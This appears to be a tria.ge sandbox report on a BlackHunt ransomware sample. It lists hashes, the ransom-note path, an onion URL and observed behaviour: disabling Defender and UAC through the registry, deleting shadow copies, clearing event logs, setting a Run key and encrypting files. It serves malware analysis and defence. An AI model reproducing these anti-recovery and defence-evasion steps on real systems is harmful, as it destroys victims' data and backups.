Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
121s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
19/01/2024, 00:22
Static task
static1
Behavioral task
behavioral1
Sample
a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
Resource
win10v2004-20231222-en
General
-
Target
a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe
-
Size
707KB
-
MD5
d7fac604f14e731eeb5c39b3d67bddbd
-
SHA1
1a61157ea64104c9ca2a4f85ada71c42807f03c6
-
SHA256
a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e
-
SHA512
c8f07b63ed72fc5aed6dd89fc04b3a090ba359e352e254db41ea1c3ffa294e9ad10203e33c7283a803eae4d79efd15e920ab75fc4538f697458c18b629f3dd19
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1W89vnh:6uaTmkZJ+naie5OTamgEoKxLWFJh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 18700 fsutil.exe 10036 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 15304 wevtutil.exe 15104 wevtutil.exe 4124 wevtutil.exe 15488 wevtutil.exe 6340 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 9460 bcdedit.exe 10152 bcdedit.exe 15936 bcdedit.exe 15760 bcdedit.exe -
Renames multiple (3337) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 6800 wbadmin.exe 16140 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\A: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\O: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\G: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\H: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\K: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\Z: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\R: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\J: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\V: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\B: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\T: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\N: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\M: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\U: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\L: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\X: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\I: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\Y: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\E: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\W: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\P: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\S: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\Q: a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 5 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ca-es\#BlackHunt_ReadMe.txt a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\cs-cz\#BlackHunt_ReadMe.txt a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\it-it\#BlackHunt_ReadMe.txt a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ja-jp\#BlackHunt_ReadMe.hta a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files\VideoLAN\VLC\locale\ks_IN\#BlackHunt_ReadMe.txt a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef-mac.css a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\zh-tw\ui-strings.js a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\images\#BlackHunt_Private.key a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\nl-nl\#BlackHunt_ReadMe.hta a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\javafx\glib.md a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fi-fi\ui-strings.js a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\sk-sk\ui-strings.js a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\he-il\#BlackHunt_ReadMe.txt a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-fr\#BlackHunt_ReadMe.hta a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\root\ui-strings.js a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\zh-cn\#BlackHunt_ReadMe.hta a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\root\#BlackHunt_Private.key a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-gb\#BlackHunt_ReadMe.txt a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\fr_get.svg a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\share_icons2x.png a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ja-jp\ui-strings.js a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\collect_feedback\css\#BlackHunt_ReadMe.hta a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\en-gb\#BlackHunt_Private.key a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_ru_135x40.svg a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\illustrations.png a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\javaws.jar a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_MoveNoDrop32x32.gif a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\#BlackHunt_Private.key a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\tr-tr\#BlackHunt_Private.key a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\de-de\#BlackHunt_Private.key a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen-exit.svg a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\iw_get.svg a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\sv-se\#BlackHunt_ReadMe.hta a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files\VideoLAN\VLC\plugins\codec\#BlackHunt_Private.key a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sl-si\ui-strings.js a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\images\#BlackHunt_ReadMe.txt a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\de-de\#BlackHunt_ReadMe.hta a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\es-es\ui-strings.js a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themes\dark\close-2.svg a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_ReadMe.txt a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sv-se\ui-strings.js a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files\VideoLAN\VLC\locale\es\#BlackHunt_Private.key a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files\VideoLAN\VLC\locale\ks_IN\#BlackHunt_ReadMe.hta a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ca-es\#BlackHunt_ReadMe.hta a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\[email protected] a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\css\#BlackHunt_ReadMe.hta a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_selectlist_checkmark_18.svg a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\da-dk\ui-strings.js a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\cs-cz\ui-strings.js a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\S_IlluNoInternetConnection_120x80.svg a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\es-es\#BlackHunt_Private.key a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\cs-cz\#BlackHunt_ReadMe.txt a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fr-ma\#BlackHunt_Private.key a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\#BlackHunt_ReadMe.txt a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fi-fi\#BlackHunt_Private.key a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\tool-selector.css a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\vlc.mo a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\nb-no\#BlackHunt_Private.key a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ui-strings.js a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\plugins\#BlackHunt_ReadMe.txt a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\#BlackHunt_Private.key a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files-select\js\#BlackHunt_Private.key a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\cs-cz\ui-strings.js a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\asm.md a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
pid pid_target Process procid_target 9144 8104 WerFault.exe 296 -
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1756 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 7624 vssadmin.exe 8084 vssadmin.exe 1444 vssadmin.exe 16580 vssadmin.exe 4372 vssadmin.exe 7692 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 16440 taskkill.exe -
Modifies registry class 9 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings cmd.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 15120 PING.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe Token: SeRestorePrivilege 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe Token: SeBackupPrivilege 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe Token: SeTakeOwnershipPrivilege 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe Token: SeAuditPrivilege 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe Token: SeSecurityPrivilege 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe Token: SeIncBasePriorityPrivilege 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe Token: SeBackupPrivilege 11176 vssvc.exe Token: SeRestorePrivilege 11176 vssvc.exe Token: SeAuditPrivilege 11176 vssvc.exe Token: SeBackupPrivilege 2088 wbengine.exe Token: SeRestorePrivilege 2088 wbengine.exe Token: SeSecurityPrivilege 2088 wbengine.exe Token: SeSecurityPrivilege 15304 wevtutil.exe Token: SeBackupPrivilege 15304 wevtutil.exe Token: SeSecurityPrivilege 15104 wevtutil.exe Token: SeBackupPrivilege 15104 wevtutil.exe Token: SeSecurityPrivilege 4124 wevtutil.exe Token: SeBackupPrivilege 4124 wevtutil.exe Token: SeSecurityPrivilege 15488 wevtutil.exe Token: SeBackupPrivilege 15488 wevtutil.exe Token: SeSecurityPrivilege 6340 wevtutil.exe Token: SeBackupPrivilege 6340 wevtutil.exe Token: SeDebugPrivilege 16440 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 564 wrote to memory of 3148 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 91 PID 564 wrote to memory of 3148 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 91 PID 564 wrote to memory of 4844 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 93 PID 564 wrote to memory of 4844 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 93 PID 564 wrote to memory of 4372 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 95 PID 564 wrote to memory of 4372 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 95 PID 564 wrote to memory of 2368 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 97 PID 564 wrote to memory of 2368 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 97 PID 564 wrote to memory of 1480 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 99 PID 564 wrote to memory of 1480 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 99 PID 3148 wrote to memory of 4816 3148 cmd.exe 101 PID 3148 wrote to memory of 4816 3148 cmd.exe 101 PID 4844 wrote to memory of 4500 4844 cmd.exe 102 PID 4844 wrote to memory of 4500 4844 cmd.exe 102 PID 4372 wrote to memory of 3824 4372 cmd.exe 103 PID 4372 wrote to memory of 3824 4372 cmd.exe 103 PID 564 wrote to memory of 4640 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 173 PID 564 wrote to memory of 4640 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 173 PID 564 wrote to memory of 3060 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 106 PID 564 wrote to memory of 3060 564 a0eef9229f427c34acb8e72350f6dee5b2a87e1d4c71af5e1eae8a0b2057f60e.exe 106 PID 1480 wrote to memory of 1124 1480 